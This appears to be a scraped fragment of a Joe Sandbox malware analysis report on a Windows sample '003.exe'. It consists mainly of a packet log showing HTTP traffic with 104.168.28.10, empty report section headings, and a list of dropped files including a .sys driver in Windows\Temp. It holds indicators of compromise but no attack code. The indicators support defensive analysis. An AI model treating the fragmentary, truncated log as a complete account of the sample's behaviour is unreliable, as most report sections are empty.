Apr 15, 2025 11:33:47.871383905 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.871387959 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.871400118 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.871433973 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.871433973 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.871473074 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.871480942 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.871506929 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.871540070 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.871555090 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.871573925 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.871618032 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.871618032 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.871653080 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.871686935 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.871699095 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.871721983 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.871754885 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.871768951 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.871788979 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.871822119 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.871833086 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.871856928 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.871891975 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.871907949 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.871926069 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.871958971 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.871968031 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.871994019 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.872028112 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.872044086 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.872061014 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.872095108 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.872104883 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.872131109 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.872164011 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.872174025 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.872198105 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.872231960 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.872247934 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.872296095 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.872330904 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.872363091 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.872368097 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.872402906 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.872417927 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.872437000 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.872486115 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.872519970 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.872531891 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.872555017 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.872570992 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.872591972 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.872626066 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.872643948 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.872672081 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.872704983 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.872726917 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.872739077 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.872775078 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.872791052 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.872809887 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.872843027 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.872863054 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.872875929 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.872910023 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.872924089 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.872946024 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.872978926 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.872989893 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.873008966 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.873024940 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.873040915 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.873053074 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.873059034 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.873076916 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.873089075 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.873091936 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.873110056 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.873120070 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.873127937 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.873143911 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.873161077 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.873161077 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.873177052 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.873194933 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.873199940 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.873210907 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.873219967 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.873229027 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.873245001 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.873261929 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.873261929 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.873277903 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.873287916 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.873294115 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.873312950 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.873320103 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.873330116 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.873344898 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.873361111 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.873367071 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.873375893 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.873384953 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.873394012 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.873411894 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.873430014 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.873429060 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.873449087 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.873466015 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.873476982 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.873488903 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.873502016 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.873506069 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.873523951 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.873532057 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.873538017 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.873541117 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.873552084 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.873568058 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.873580933 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.873584986 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.873603106 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.873620033 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.873625994 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.873637915 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.873645067 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.873653889 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.873671055 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.873689890 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.873689890 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.873697996 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.873704910 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.873722076 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.873728037 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.873739004 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.873754025 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.873759031 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.873771906 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.873780012 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.873789072 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.873802900 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.873806953 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.873822927 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.873832941 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.873842001 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.873857975 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.873861074 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.873877048 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.873892069 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.873899937 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.873910904 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.873925924 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.873941898 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.873955965 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.873958111 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.873979092 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.873980999 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.873999119 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.874008894 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.874016047 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.874032974 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.874052048 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.874053955 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.874068022 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.874078989 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.874085903 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.874093056 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.874105930 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.874123096 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.874138117 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.874140024 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.874157906

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 003.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_540zudpt.lhu.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bb4a2n3s.hxb.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dqgtxyxi.yxc.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_luztmgb2.2y3.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_urkh44vx.i3o.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vic01ywg.awd.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xstfdcst.3gi.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zjdus0v0.0fe.ps1

C:\Windows\Temp\7MXAb89_8184.tmp

C:\Windows\Temp\y5VWvTdZ_8184.sys

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Windows Analysis Report
003.exe